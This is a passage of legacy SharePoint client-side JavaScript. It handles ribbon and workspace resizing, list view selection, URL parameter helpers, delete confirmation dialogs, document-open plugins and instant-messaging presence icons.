{ var defd; try { defd=typeof(ribbon.showSaveConflictDialog); } catch (e) { defd='undefined'; } if (defd !='undefined') { ribbon.showSaveConflictDialog(lastModifiedUserId, continueStatusHtml, mergeChangesUrl, mergeChangesStatusHtml, discardScript, overwriteScript); } else { var str="ribbon.showSaveConflictDialog"; var rg=str.split('.'); if (rg.length > 1) { var fnd=function () {ULSxSy:; ribbon.showSaveConflictDialog(lastModifiedUserId, continueStatusHtml, mergeChangesUrl, mergeChangesStatusHtml, discardScript, overwriteScript); }; EnsureScript(rg[0], defd, fnd); } }};
}
function ClkElmt(e)
{ULSxSy:;
if (browseris.ie)
e.click();
else
FFClick(e);
}
function EnsureSelectionHandlerOnFocus(evt, cbx, ctxNum)
{ULSxSy:;
DeferCall("EnsureSelectionHandlerOnFocusDeferred", evt, cbx, ctxNum);
}
function EnsureSelectionHandler(evt, tab, ctxNum)
{ULSxSy:;
DeferCall("EnsureSelectionHandlerDeferred", evt, tab, ctxNum);
}
function StopEvt(evt)
{ULSxSy:;
if (!browseris.ie)
evt.stopPropagation();
}
function FFGetElementsById(doc, tabId)
{ULSxSy:;
var rg=new Array();
var ele=doc.getElementById(tabId);
while (ele !=null)
{
rg.push(ele);
ele.id="";
ele=doc.getElementById(tabId);
}
var i;
for (i=0; i < rg.length; i++)
{
rg[i].id=tabId;
}
return rg;
}
function GetElementsByName(str)
{ULSxSy:;
var rg=document.getElementsByName(str);
if (rg.length==0 && window.XMLHttpRequest )
{
rg=FFGetElementsById(document, str);
}
return rg;
}
function AddEvtHandler(ele, strEvt, func)
{ULSxSy:;
if (browseris.ie)
ele.attachEvent(strEvt, func);
else
ele.addEventListener(strEvt.substr(2), func, false);
}
function HideListViewRows(sid)
{ULSxSy:;
var t=document.getElementById(sid);
if (t==null)
return;
resetSelectAllCbx(t);
var strHash=window.location.hash;
if (strHash.length <=56 || strHash.indexOf("InplviewHash=") !=1)
return;
strHash=strHash.substr(14, 42);
strHash=strHash.replace(/--/g, "-");
if (sid.length==77)
sid=sid.substr(39);
else
{
var ctxId;
var ctx;
if (sid.indexOf("onetidDoclibViewTbl") !=0)
return;
sid=sid.substr(19);
if (sid=='0')
{
if (t.className.indexOf("ms-emptyView") >=0)
return;
for (ctxId in g_ctxDict)
{
ctx=g_ctxDict[ctxId];
sid=ctx.view;
break;
}
}
else
{
ctx=g_ctxDict['ctx'+sid];
sid=ctx.view;
}
}
if (strHash !=sid)
return;
if (t.className.length > 0)
t.className+=" s4-hide-tr";
else
t.className="s4-hide-tr";
}
function resetSelectAllCbx(tab)
{ULSxSy:;
var selectAllCbx=getSelectAllCbxFromTable(tab);
if (selectAllCbx)
selectAllCbx.checked=false;
}
function getSelectAllCbxFromTable(tab)
{ULSxSy:;
if (tab==null)
return null;
var rows=tab.rows;
if (rows && rows.length > 0)
{
var headerRow=rows[0];
if (!headerRow.className.indexOf("ms-viewheadertr"))
{
var cells=headerRow.cells;
if (cells.length > 0)
{
var cbx=cells[0].getElementsByTagName("INPUT")[0];
if (cbx)
return cbx;
}
}
}
return null;
}
function WpClick(evt)
{ULSxSy:;
var s=GetEventSrcElement(evt);
var p=s;
while (p !=null && (p.className==null || p.className.indexOf('s4-wpcell') < 0))
{
if (p.tagName=='A')
return;
if (p.tagName=='DIV' && p.className !=null && p.className.indexOf('s4-ctx') !=-1)
return;
if (p.tagName=='TH' && p.className !=null && p.className.indexOf('ms-vh2') !=-1)
return;
p=p.parentNode;
}
if (typeof(ChevronContainer) !="undefined" && ChevronContainer !=null)
{
RemoveCtxImg(ChevronContainer);
}
if (p !=null)
{
{ var defd; try { defd=typeof(ribbon.SelectWp); } catch (e) { defd='undefined'; } if (defd !='undefined') { ribbon.SelectWp(p); } else { var str="ribbon.SelectWp"; var rg=str.split('.'); if (rg.length > 1) { var fnd=function () {ULSxSy:; ribbon.SelectWp(p); }; EnsureScript(rg[0], defd, fnd); } }};
}
}
function WpKeyUp(evt)
{ULSxSy:;
var focusElt=GetEventSrcElement(evt);
if (evt.keyCode==32 && focusElt && focusElt.tagName=="INPUT" &&
(HasCssClass(focusElt, "s4-selectAllCbx") || HasCssClass(focusElt, "s4-itm-cbx")))
WpClick(evt);
}
function WzClick(evt, zid)
{ULSxSy:;
var s=GetEventSrcElement(evt);
var p=s;
while (p !=null)
{
var z=p.getAttribute("ZoneID");
if (z==zid)
break;
if (p.tagName=='A')
return;
p=p.parentNode;
}
if (p !=null)
{
{ var defd; try { defd=typeof(ribbon.SelectWz); } catch (e) { defd='undefined'; } if (defd !='undefined') { ribbon.SelectWz(p, zid); } else { var str="ribbon.SelectWz"; var rg=str.split('.'); if (rg.length > 1) { var fnd=function () {ULSxSy:; ribbon.SelectWz(p, zid); }; EnsureScript(rg[0], defd, fnd); } }};
}
}
function WpCbxSelect(evt)
{ULSxSy:;
var cbx=GetEventSrcElement(evt);
var currentlySelected=cbx.checked;
if (!currentlySelected)
WpClick(evt);
else
{ var defd; try { defd=typeof(ribbon.DeselectWpWz); } catch (e) { defd='undefined'; } if (defd !='undefined') { ribbon.DeselectWpWz(); } else { var str="ribbon.DeselectWpWz"; var rg=str.split('.'); if (rg.length > 1) { var fnd=function () {ULSxSy:; ribbon.DeselectWpWz(); }; EnsureScript(rg[0], defd, fnd); } }};
TrapMenuClick(evt);
if (evt.type !="keyup")
cbx.className="ms-WPHeaderCbxHidden";
}
function WpCbxKeyHandler(evt)
{ULSxSy:;
var kCode;
if (browseris.ie)
kCode=evt.keyCode;
else
kCode=evt.which;
if (kCode==13)
WpCbxSelect(evt);
}
function PopoutMenuMaybeSwapImage(anchorId, iconId, src)
{ULSxSy:;
var anchor=document.getElementById(anchorId);
if(anchor && typeof(anchor) !='undefined')
{
if(anchor.rel=='_spPopoutMenuIsOpen')
return;
SwapImage(iconId, src);
}
}
function PopoutMenuMaybeSwapImageClustered(anchorId, iconId, src, x, y, height, width)
{ULSxSy:;
var anchor=document.getElementById(anchorId);
if(anchor && typeof(anchor) !='undefined')
{
if(anchor.rel=='_spPopoutMenuIsOpen')
return;
var span=document.getElementById(iconId);
var img=span.firstChild;
SwapImageInternal(img, src);
span.style.height=height+"px";
span.style.width=width+"px";
img.style.top="-"+y+"px";
img.style.left="-"+x+"px";
}
}
function SwapImage(id, src)
{ULSxSy:;
var img=document.getElementById(id);
SwapImageInternal(img, src);
}
function SwapImageInternal(img, src)
{ULSxSy:;
if(img && typeof(img) !='undefined')
img.src=src;
}
function GetViewportHeight()
{ULSxSy:;
if(typeof(window.innerHeight) !='undefined')
viewportHeight=window.innerHeight;
else
viewportHeight=document.documentElement.clientHeight;
return viewportHeight;
}
function GetViewportWidth()
{ULSxSy:;
if(typeof(window.innerWidth) !='undefined')
viewportWidth=window.innerWidth;
else
viewportWidth=document.documentElement.clientWidth;
return viewportWidth;
}
var g_viewportHeight=null, g_viewportWidth=null, g_wpadderHeight=0, g_setWidth, g_setWidthInited=false, g_workspaceResizedHandlers=[], g_setScrollPos=false;
var g_frl=false;
function FixRibbonAndWorkspaceDimensionsForResize()
{ULSxSy:;
if(g_frl)
return;
var vph=GetViewportHeight();
var vpw=GetViewportWidth();
if(g_viewportHeight==vph
&& g_viewportWidth==vpw)
{
return;
}
g_viewportHeight=vph;
g_viewportWidth=vpw;
window.setTimeout(FixRibbonAndWorkspaceDimensions, 0);
}
function FixRibbonAndWorkspaceDimensions()
{ULSxSy:;
g_frl=true;
var elmRibbon=GetCachedElement("s4-ribbonrow");
var elmWorkspace=GetCachedElement("s4-workspace");
var elmTitleArea=GetCachedElement("s4-titlerow");
var elmBodyTable=GetCachedElement("s4-bodyContainer");
if(!elmRibbon ||
!elmWorkspace ||
!elmBodyTable)
{
return;
}
if(!g_setWidthInited)
{
var setWidth=true;
if(elmWorkspace.className.indexOf("s4-nosetwidth") > -1)
setWidth=false;
g_setWidth=setWidth;
g_setWidthInited=true;
}
else
{
var setWidth=g_setWidth;
}
var baseRibbonHeight=RibbonIsMinimized() ? 44 : 135;
var ribbonHeight=baseRibbonHeight+g_wpadderHeight;
if (GetCurrentEltStyle(elmRibbon, "visibility")=="hidden")
{
ribbonHeight=0;
}
elmRibbon.style.height=ribbonHeight+"px";
var vph=g_viewportHeight;
if (null===vph)
{
vph=GetViewportHeight();
g_viewportHeight=vph;
}
var newWorkspaceHeight=vph - elmRibbon.offsetHeight - AbsTop(elmRibbon);
if(newWorkspaceHeight < 0)
newWorkspaceHeight=0;
elmWorkspace.style.height=newWorkspaceHeight+"px";
if(setWidth)
{
elmWorkspace.style.width=document.documentElement.clientWidth+"px";
if(elmBodyTable.offsetWidth < elmWorkspace.clientWidth)
elmBodyTable.style.width=elmWorkspace.clientWidth+"px";
if(elmTitleArea)
{
elmTitleArea.style.width=Math.max(elmBodyTable.offsetWidth - 1, 0)+"px";
elmTitleArea.className+=" ms-titlerowborder";
}
}
var isIE7=browseris.ie && browseris.iever==7 && !browseris.ie8standard;
if (!g_setScrollPos)
{
if (window.location.search.match("[?&]IsDlg=1"))
{
if (!isIE7 || elmWorkspace.scrollHeight < elmWorkspace.clientHeight)
elmWorkspace.style.overflowY="auto";
}
var scrollElem=document.getElementById("_maintainWorkspaceScrollPosition");
if (scrollElem !=null && scrollElem.value !=null)
{
elmWorkspace.scrollTop=scrollElem.value;
}
g_setScrollPos=true;
}
var handlers=[].concat(g_workspaceResizedHandlers);
for (var i=0, wLen=handlers.length; i<wLen; i++)
{
handlers[i]();
}
g_frl=false;
}
function RibbonIsMinimized()
{ULSxSy:;
if (g_spribbon.isInited)
{
return g_spribbon.isMinimized;
}
else
{
if (typeof(_ribbon)=="undefined" || null===_ribbon)
return true;
else
return _ribbon.buildMinimized;
}
}
var g_spribbon=new Object();
g_spribbon.isMinimized=true;
g_spribbon.isInited=false;
g_spribbon.minimizedHeight="44px";
g_spribbon.maximizedHeight="135px";
function OnRibbonMinimizedChanged(ribbonMinimized)
{ULSxSy:;
var ribbonElement=GetCachedElement("s4-ribbonrow");
var titleElement=GetCachedElement("s4-titlerow");
if (ribbonElement)
{
ribbonElement.className=ribbonElement.className.replace("s4-ribbonrowhidetitle", "");
if(titleElement)
{
titleElement.className=titleElement.className.replace("s4-titlerowhidetitle", "");
if (ribbonMinimized)
{
titleElement.style.display="block";
}
else
{
titleElement.style.display="none";
}
}
}
var wasInited=g_spribbon.isInited;
g_spribbon.isInited=true;
var lastState=g_spribbon.isMinimized;
g_spribbon.isMinimized=ribbonMinimized;
if (lastState !=ribbonMinimized || !wasInited)
FixRibbonAndWorkspaceDimensions();
}
function setInnerText(elem, text)
{ULSxSy:;
var doc=elem.ownerDocument;
if (doc.createTextNode)
{
var textNode=doc.createTextNode(text);
elem.innerHTML='';
elem.appendChild(textNode);
}
else
{
elem.innerText=text;
}
}
function setInnerText(elem, text)
{ULSxSy:;
var doc=elem.ownerDocument;
if (doc.createTextNode)
{
var textNode=doc.createTextNode(text);
elem.innerHTML='';
elem.appendChild(textNode);
}
else
{
elem.innerText=text;
}
}
function CatchCreateError(strIgnore1, strIgnore2, strIgnore3)
{ULSxSy:;
return true;
}
if (typeof(ExpandBody)=="undefined")
{
var preventSafariParseError=true;
function ExpandBody(guid, anchor)
{ULSxSy:;
var frm=document.forms[MSOWebPartPageFormName];
frm.CAML_Expand.value=frm.CAML_Expand.value.concat(guid);
frm.action=frm.action.concat("#"+anchor);
frm.submit();
return false;
}
}
if (typeof(CollapseBody)=="undefined")
{
var preventSafariParseError=true;
function CollapseBody(guid, anchor)
{ULSxSy:;
var frm=document.forms[MSOWebPartPageFormName];
var reg=new RegExp("\{", "g");
guid=guid.replace(reg, "\\\{");
reg=new RegExp("\}", "g");
guid=guid.replace(reg, "\\\}");
reg=new RegExp(guid, "g");
frm.CAML_Expand.value=frm.CAML_Expand.value.replace(reg, "");
frm.CAML_ShowOriginalEmailBody.value= frm.CAML_ShowOriginalEmailBody.value.replace(reg, "");
frm.action=frm.action.concat("#"+anchor);
frm.submit();
return false;
}
}
if (typeof(ShowQuotedText)=="undefined")
{
var preventSafariParseError=true;
function ShowQuotedText(guid, anchor)
{ULSxSy:;
var frm=document.forms[MSOWebPartPageFormName];
frm.CAML_ShowOriginalEmailBody.value= frm.CAML_ShowOriginalEmailBody.value.concat(guid);
if (frm.action.indexOf("#") > 0)
{
frm.action=frm.action.substr(0, frm.action.indexOf("#"));
}
frm.action=frm.action.concat("#"+anchor);
frm.submit();
return false;
}
}
if (typeof(HideQuotedText)=="undefined")
{
var preventSafariParseError=true;
function HideQuotedText(guid, anchor)
{ULSxSy:;
var frm=document.forms[MSOWebPartPageFormName];
var reg=new RegExp("\{", "g");
guid=guid.replace(reg, "\\\{");
reg=new RegExp("\}", "g");
guid=guid.replace(reg, "\\\}");
reg=new RegExp(guid, "g");
frm.CAML_ShowOriginalEmailBody.value= frm.CAML_ShowOriginalEmailBody.value.replace(reg, "");
if (frm.action.indexOf("#") > 0)
{
frm.action=frm.action.substr(0, frm.action.indexOf("#"));
}
frm.action=frm.action.concat("#"+anchor);
frm.submit();
return false;
}
}
function GetSelectedItemsDict(ctx)
{ULSxSy:;
if (ctx !=null && ctx.dictSel !=null)
{
return ctx.dictSel;
}
return null;
}
function RemoveOnlyPagingArgs(strUrl)
{ULSxSy:;
var rePagedFlag=/&*Paged=TRUE/gi;
strUrl=strUrl.replace(rePagedFlag, "");
var rePagedPrevFlag=/&*PagedPrev=TRUE/gi;
strUrl=strUrl.replace(rePagedPrevFlag, "");
var rePagedArgs=/&p_[^&]*/gi;
strUrl=strUrl.replace(rePagedArgs, "");
var rePagedRow=/&PageFirstRow=[^&]*/gi;
strUrl=strUrl.replace(rePagedRow, "");
var rePagedLastRow=/&PageLastRow=[^&]*/gi;
strUrl=strUrl.replace(rePagedLastRow, "");
return strUrl;
}
function RemovePagingArgs(strUrl)
{ULSxSy:;
strUrl=RemoveOnlyPagingArgs(strUrl);
var reFilter1=/\?Filter=1&*/gi;
strUrl=strUrl.replace(reFilter1, "?");
var reFilter2=/&Filter=1/gi;
strUrl=strUrl.replace(reFilter2, "");
var reOrphanedQMark=/\?$/;
strUrl=strUrl.replace(reOrphanedQMark, "");
return strUrl;
}
var v_stsOpenDoc2=null;
var v_strStsOpenDoc2=null;
function StsOpenEnsureEx2(szProgId)
{ULSxSy:;
if (v_stsOpenDoc2==null || v_strStsOpenDoc2 !=szProgId)
{
v_stsOpenDoc2=null;
v_strStsOpenDoc2=null;
if (window.ActiveXObject)
{
try
{
v_stsOpenDoc2=new ActiveXObject(szProgId);
v_strStsOpenDoc2=szProgId;
}
catch(e)
{
v_stsOpenDoc2=null;
v_strStsOpenDoc2=null;
};
}
else if (IsSupportedMacBrowser() && szProgId.indexOf("SharePoint.OpenDocuments") >=0)
{
var plugin=CreateMacPlugin();
if (plugin !=null)
{
v_stsOpenDoc2=plugin;
v_strStsOpenDoc2="SharePoint.MacPlugin";
}
}
else if (IsSupportedFirefoxOnWin() && szProgId.indexOf("SharePoint.OpenDocuments") >=0)
{
var plugin=CreateFirefoxOnWindowsPlugin();
if (plugin !=null)
{
v_stsOpenDoc2=plugin;
v_strStsOpenDoc2="SharePoint.FFWinPlugin";
}
}
}
return v_stsOpenDoc2;
}
function StURLSetVar2(stURL, stVar, stValue)
{ULSxSy:;
var stNewSet=stVar+"="+stValue;
var curl=new CUrl(stURL);
var stURL=curl.query;
var ichQ=stURL.indexOf("?");
if (ichQ !=-1)
{
var ich=stURL.indexOf("?"+stVar+"=", ichQ);
if (ich==-1)
{
ich=stURL.indexOf("&"+stVar+"=", ichQ);
if (ich !=-1)
stNewSet="&"+stNewSet;
}
else
{
stNewSet="?"+stNewSet;
}
if (ich !=-1)
{
var re=new RegExp("[&?]"+stVar+"=[^&]*", "");
stURL=stURL.replace(re, stNewSet);
}
else
{
stURL=stURL+"&"+stNewSet;
}
}
else
{
stURL=stURL+"?"+stNewSet;
}
curl.query=stURL;
return curl.ToString();
}
function CUrl(strUrl)
{ULSxSy:;
var ichQ=strUrl.indexOf('?');
var ichHash=strUrl.indexOf('#');
if (ichHash >=0 && ichHash < ichQ)
ichHash=-1;
this.path=strUrl;
this.query='';
this.hash='';
if (ichQ >=0)
{
this.path=strUrl.substr(0, ichQ);
if (ichHash >=ichQ)
this.query=strUrl.substr(ichQ, ichHash - ichQ);
else
this.query=strUrl.substr(ichQ);
}
if (ichHash >=0)
{
if (ichQ < 0)
this.path=strUrl.substr(0, ichHash);
this.hash=strUrl.substr(ichHash);
}
}
CUrl.prototype.ToString=CUrlToString;
function CUrlToString()
{ULSxSy:;
var s=this.path+this.query+this.hash;
return s;
}
function RemoveQueryParameterFromUrl(stURL, stParameterName)
{ULSxSy:;
var re=new RegExp("[&?]"+stParameterName+"=[^&]*", "");
stURL=stURL.replace(re, "");
if (stURL.indexOf("?")==-1)
{
var ich=stURL.indexOf("&");
if (ich !=-1)
stURL=stURL.substring(0, ich)+"?"+stURL.substring(ich+1);
}
return stURL;
}
function HasValidUrlPrefix(url)
{ULSxSy:;
var urlLower=url.toLowerCase();
if (-1==urlLower.search("^http://") &&
-1==urlLower.search("^https://"))
return false;
return true;
}
function AbsLeft(obj)
{ULSxSy:;
var x=obj.offsetLeft;
var parent=obj.offsetParent;
while (parent !=null && parent.tagName !="BODY")
{
x+=parent.offsetLeft;
parent=parent.offsetParent;
}
if (parent !=null)
x+=parent.offsetLeft;
return x;
}
function AbsTop(obj)
{ULSxSy:;
var y=obj.offsetTop;
var parent=obj.offsetParent;
while (parent !=null && parent.tagName !="BODY")
{
y+=parent.offsetTop;
parent=parent.offsetParent;
}
if (parent !=null)
y+=parent.offsetTop;
return y;
}
var deleteInstance=0;
function DeleteItemConfirmation()
{ULSxSy:;
var message="";
if (typeof(ItemIsCopy) !="undefined")
if (ItemIsCopy)
message=L_NotifyThisIsCopy_Text;
if (cascadeDeleteWarningMessage !="")
{
message+=cascadeDeleteWarningMessage;
}
if (recycleBinEnabled==1 && deleteInstance !=1)
message+=L_STSRecycleConfirm_Text;
else
message+=L_STSDelConfirm_Text;
return confirm(message);
}
function DeleteInstanceConfirmation()
{ULSxSy:;
deleteInstance=1;
return DeleteItemConfirmation()
}
function CancelMultiPageConfirmation(redirectUrl)
{ULSxSy:;
var L_DeletePartialResponse1_text="A partial survey response has been saved. Click OK to delete the partial survey response. If you want to continue this survey later click Cancel. Your partial response can be found in the All Responses survey view.\n\nDo you want to send this partial response to the site Recycle Bin?";
var L_DeletePartialResponse2_text="A partial survey response has been saved. Click OK to delete the partial survey response. If you want to continue this survey later click Cancel. Your partial response can be found in the All Responses survey view.\n\nDo you want to delete the partial response?";
var message="";
if (recycleBinEnabled==1)
message=L_DeletePartialResponse1_text;
else
message=L_DeletePartialResponse2_text;
if (confirm(message)==true)
return true;
else
STSNavigate(redirectUrl);
return false;
}
function RestoreItemVersionConfirmation()
{ULSxSy:;
var L_Version_Restore_Confirm_Text="You are about to replace the current version with the selected version.";
var message=L_Version_Restore_Confirm_Text;
return confirm(message);
}
function DeleteItemVersionConfirmation(bRecycleBinEnabled)
{ULSxSy:;
var L_Version_Delete_Confirm_Text="Are you sure you want to delete this version?";
var L_Version_Recycle_Confirm_Text="Are you sure you want to send this version to the site Recycle Bin?";
if (bRecycleBinEnabled)
return confirm(L_Version_Recycle_Confirm_Text);
else
return confirm(L_Version_Delete_Confirm_Text);
}
function DeleteUserInfoItemConfirmation()
{ULSxSy:;
var L_User_Delete_Confirm_Text="You are about to delete this user.";
var message=L_User_Delete_Confirm_Text;
return confirm(message);
}
function UnlinkCopyConfirmation(strItemUrl)
{ULSxSy:;
return confirm(L_ConfirmUnlinkCopy_Text);
}
function SupportsNavigateHttpFolder()
{ULSxSy:;
return (browseris.ie5up && browseris.win32);
}
function MtgDeletePageConfirm()
{ULSxSy:;
var L_DeleteGlobalConfirm_Text="This page will be deleted from all meetings associated with this workspace. ";
var L_DeleteConfirm_Text="Are you sure you want to delete this page?";
var text;
if (document.getElementById("MtgTlPart_PageType").value=='MtgTlPart_LocalPage')
text=L_DeleteConfirm_Text;
else
text=L_DeleteGlobalConfirm_Text+L_DeleteConfirm_Text;
return confirm(text);
}
function IsImgLibJssLoaded()
{ULSxSy:;
if (typeof(fImglibJssLoaded) !="undefined")
return fImglibJssLoaded;
return false;
}
function GetFirstChildElement(e)
{ULSxSy:;
for (var i=0; i < e.childNodes.length; i++)
{
if (e.childNodes[i].nodeType==1)
return e.childNodes[i];
}
return null;
}
function TestGCObject( GCObject )
{ULSxSy:;
if (((browseris.ie55up) && (typeof(GCObject)=="undefined")) || (GCObject==null) || (GCObject.object==null))
return false;
return true;
}
function MMU_GetMenuFromClientId(clientId)
{ULSxSy:;
return document.getElementById(clientId);
}
function MMU_EcbLinkOnKeyDown(menu, ecbLink, e)
{ULSxSy:;
if (e==null)
{
e=window.event;
if (e==null)
return;
}
var hasHref=((ecbLink.href !=null) && (ecbLink.href.length > 0));
if (((e.shiftKey || !hasHref) && (GetEventKeyCode(e)==13)) || ((e.altKey) && (GetEventKeyCode(e)==40)))
{
var image=byid(ecbLink.id+"_ti");
if(image==null)
{
var serverClientId=ecbLink.getAttribute("serverclientid");
if ((serverClientId !=null) && (serverClientId.length > 0))
{
image=byid(serverClientId+"_ti");
}
}
if ((image !=null) && (image.getAttribute("onclick") !=null))
{
image.onclick();
}
else
{
if(ecbLink.getAttribute("onclick") !=null)
ecbLink.onclick();
}
return false;
}
else
{
return true;
}
}
var firstCalled=true;
var _callbackinitdelayed=false;
function DeferWebFormInitCallback()
{ULSxSy:;
if (typeof(WebForm_InitCallback)=='function')
window['_WebForm_InitCallback']=window['WebForm_InitCallback'];
window['WebForm_InitCallback']=function ()
{ULSxSy:;
if (firstCalled)
{
firstCalled=false;
_callbackinitdelayed=true;
_spBodyOnLoadFunctionNames.push('WebForm_InitCallback');
}
else
{
_callbackinitdelayed=false;
if (typeof(window._WebForm_InitCallback)=='function')
window._WebForm_InitCallback();
}
}
if (typeof(WebForm_DoCallback)=='function')
window['_WebForm_DoCallback']=window['WebForm_DoCallback'];
window['WebForm_DoCallback']=function(eventTarget, eventArgument, eventCallback, context, errorCallback, useAsync)
{ULSxSy:;
if (_callbackinitdelayed)
{
_callbackinitdelayed=false;
if (_spBodyOnLoadFunctionNames !=null)
{
var count=_spBodyOnLoadFunctionNames.length;
for (var i=0; i<count; i++)
{
if (_spBodyOnLoadFunctionNames[i]=="WebForm_InitCallback")
{
_spBodyOnLoadFunctionNames.splice(i,1);
break;
}
}
}
if (typeof(window._WebForm_InitCallback)=='function')
window._WebForm_InitCallback();
}
window._WebForm_DoCallback(eventTarget, eventArgument, eventCallback, context, errorCallback, useAsync);
}
}
function _ribbonShouldFixRtlHeaders(isRtl)
{ULSxSy:;
return browseris.ie && browseris.iever==7 && !browseris.ie8standard && isRtl;
}
var IMNControlObj=null;
var bIMNControlInited=false;
var IMNDictionaryObj=null;
var bIMNSorted=false;
var bIMNOnloadAttached=false;
var IMNOrigScrollFunc=null;
var bIMNInScrollFunc=false;
var IMNSortableObj=null;
var IMNHeaderObj=null;
var IMNNameDictionaryObj=null;
var IMNShowOfflineObj=null;
function GetCurrentEvent(objEvent)
{ULSxSy:;
if (!IsSupportedMacBrowser())
return window.event;
if (objEvent)
return objEvent;
return window.event;
}
function GetEventTarget(objEvent)
{ULSxSy:;
if (!IsSupportedMacBrowser())
return objEvent.srcElement;
if (objEvent.srcElement)
return objEvent.srcElement;
return objEvent.target;
}
function EnsureIMNControl()
{ULSxSy:;
if (!bIMNControlInited)
{
if (typeof(g_presenceEnabled) !="undefined" && g_presenceEnabled)
{
if (IsSupportedMacBrowser())
{
IMNControlObj=CreateMacPlugin();
}
else if (browseris.ie5up)
{
if (window.ActiveXObject)
{
try
{
IMNControlObj=new ActiveXObject("Name.NameCtrl.1");
if (IMNControlObj)
{
if(IsSupportedMacBrowser())
IMNControlObj.OnStatusChange="IMNOnStatusChange";
else
IMNControlObj.OnStatusChange=IMNOnStatusChange;
}
}
catch(e)
{
IMNControlObj=null;
}
}
}
}
bIMNControlInited=true;
}
return IMNControlObj;
}
function IMNImageInfo()
{ULSxSy:;
this.img=null;
this.alt='';
}
var L_IMNOnline_Text="Available";
var L_IMNOffline_Text="Offline";
var L_IMNAway_Text="Away";
var L_IMNBusy_Text="Busy";
var L_IMNDoNotDisturb_Text="Do not disturb";
var L_IMNIdle_Text="May be away";
var L_IMNBlocked_Text="Blocked";
var L_IMNOnline_OOF_Text="Available (OOF)";
var L_IMNOffline_OOF_Text="Offline (OOF)";
var L_IMNAway_OOF_Text="Away (OOF)";
var L_IMNBusy_OOF_Text="Busy (OOF)";
var L_IMNDoNotDisturb_OOF_Text="Do not disturb (OOF)";
var L_IMNIdle_OOF_Text="May be away (OOF)";
function IMNGetStatusImage(state, showoffline)
{ULSxSy:;
var img="blank.gif";
var alt="";
switch (state)
{
case 0:
img="imnon.png";
alt=L_IMNOnline_Text;
break;
case 11:
img="imnonoof.png";
alt=L_IMNOnline_OOF_Text;
break;
case 1:
if (showoffline)
{
img="imnoff.png";
alt=L_IMNOffline_Text;
}
else
{
img="blank.gif";
alt="";
}
break;
case 12:
if (showoffline)
{
img="imnoffoof.png";
alt=L_IMNOffline_OOF_Text;
}
else
{
img="blank.gif";
alt="";
}
break;
case 2:
img="imnaway.png";
alt=L_IMNAway_Text;
break;
case 13:
img="imnawayoof.png";
alt=L_IMNAway_OOF_Text;
break;
case 3:
img="imnbusy.png";
alt=L_IMNBusy_Text;
break;
case 14:
img="imnbusyoof.png";
alt=L_IMNBusy_OOF_Text;
break;
case 4:
img="imnaway.png";
alt=L_IMNAway_Text;
break;
case 5:
img="imnbusy.png";
alt=L_IMNBusy_Text;
break;
case 6:
img="imnaway.png";
alt=L_IMNAway_Text;
break;
case 7:
img="imnbusy.png";
alt=L_IMNBusy_Text;
break;
case 8:
img="imnaway.png";
alt=L_IMNAway_Text;
break;
case 9:
img="imndnd.png";
alt=L_IMNDoNotDisturb_Text;
break;
case 15:
img="imndndoof.png";
alt=L_IMNDoNotDisturb_OOF_Text;
break;
case 10:
img="imnbusy.png";
alt=L_IMNBusy_Text;
break;
case 16:
img="imnidle.png";
alt=L_IMNIdle_Text;
break;
case 17:
img="imnidleoof.png";
alt=L_IMNIdle_OOF_Text;
break;
case 18:
img="imnblocked.png";
alt=L_IMNBlocked_Text;
break;
case 19:
img="imnidlebusy.png";
alt=L_IMNBusy_Text;
break;
case 20:
img="imnidlebusyoof.png";
alt=L_IMNBusy_OOF_Text;
break;
}
var imnInfo=new IMNImageInfo();
imnInfo.img=img;
imnInfo.alt=alt;
return imnInfo;
}
function IMNGetHeaderImage()
{ULSxSy:;
var imnInfo=new IMNImageInfo();
imnInfo.img="imnhdr.gif";;
imnInfo.alt="";
return imnInfo;
}
function IMNIsOnlineState(state)
{ULSxSy:;
if (state==1)
{
return false;
}
return true;
}
function IMNSortList(j, oldState, state)
{ULSxSy:;
var objTable=null;
var objRow=null;
if (IMNSortableObj && IMNSortableObj[j])
{
objRow=document.getElementById(j);
while (objRow && !(objRow.tagName=="TR" &&
typeof(objRow.Sortable) !="undefined"))
{
objRow=objRow.parentNode;
}
objTable=objRow;
while (objTable && objTable.tagName !="TABLE")
{
objTable=objTable.parentNode;
}
if (objTable !=null && objRow !=null)
{
if (objTable.rows[1].style.display=="none")
{
for (i=1; i<4; i++)
{
objTable.rows[i].style.display="block";
}
}
if (!IMNIsOnlineState(oldState) && IMNIsOnlineState(state))
{
objTable.rows[2].style.display="none";
i=3;
while (objTable.rows[i].id !="Offline" && objTable.rows[i].innerText < objRow.innerText)
i++;
objTable.moveRow(objRow.rowIndex, i);
if ( objTable.rows[objTable.rows.length - 3].id=="Offline")
{
objTable.rows[objTable.rows.length - 2].style.display="block";
}
}
else if (IMNIsOnlineState(oldState) && !IMNIsOnlineState(state))
{
if (objRow.rowIndex==3 &&
objTable.rows[objRow.rowIndex+1].id=="Offline")
{
objTable.rows[2].style.display="block";
}
if (objTable.rows[objTable.rows.length - 3].id=="Offline")
{
objTable.rows[objTable.rows.length - 2].style.display="none";
}
i=objTable.rows.length - 2;
while (objTable.rows[i - 1].id !="Offline" && objTable.rows[i].innerText > objRow.innerText)
i--;
objTable.moveRow(objRow.rowIndex, i);
}
}
}
}
function IMNOnStatusChange(name, state, id)
{ULSxSy:;
if (IMNDictionaryObj)
{
var img=IMNGetStatusImage(state, IMNSortableObj[id] ||
IMNShowOfflineObj[id]);
if (IMNDictionaryObj[id] !=state)
{
if (bIMNSorted)
IMNSortList(id, IMNDictionaryObj[id], state);
IMNUpdateImage(id, img);
IMNDictionaryObj[id]=state;
}
}
}
function IMNUpdateImage(id, imgInfo)
{ULSxSy:;
var obj=document.images[id];
if (obj)
{
var img=imgInfo.img;
var alt=imgInfo.alt;
var oldImg=obj.src;
if (typeof(obj.src)=="undefined")
oldImg=obj.item(0).src;
var index=oldImg.lastIndexOf("/");
var newImg=oldImg.slice(0, index+1);
newImg+=img;
if (oldImg==newImg && img !='blank.gif')
return;
if (obj.altbase)
{
obj.alt=obj.altbase;
}
else
{
obj.alt=alt;
}
var useFilter=browseris.ie &&
browseris.ie55up &&
browseris.verIEFull < 7.0;
var isPng=(newImg.toLowerCase().indexOf(".png") > 0);
if (useFilter)
{
if (isPng)
{
obj.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src="+newImg+"),sizingMethod=scale,enabled=true);";
obj.src="/_layouts/images/blank.gif";
}
else
{
obj.style.filter="";
obj.src=newImg;
}
}
else
{
obj.src=newImg;
}
}
}
function IMNHandleAccelerator(objEvent)
{ULSxSy:;
if (IMNControlObj)
{
var currEvent=GetCurrentEvent(objEvent);
if (currEvent.altKey && currEvent.shiftKey &&
currEvent.keyCode==121)
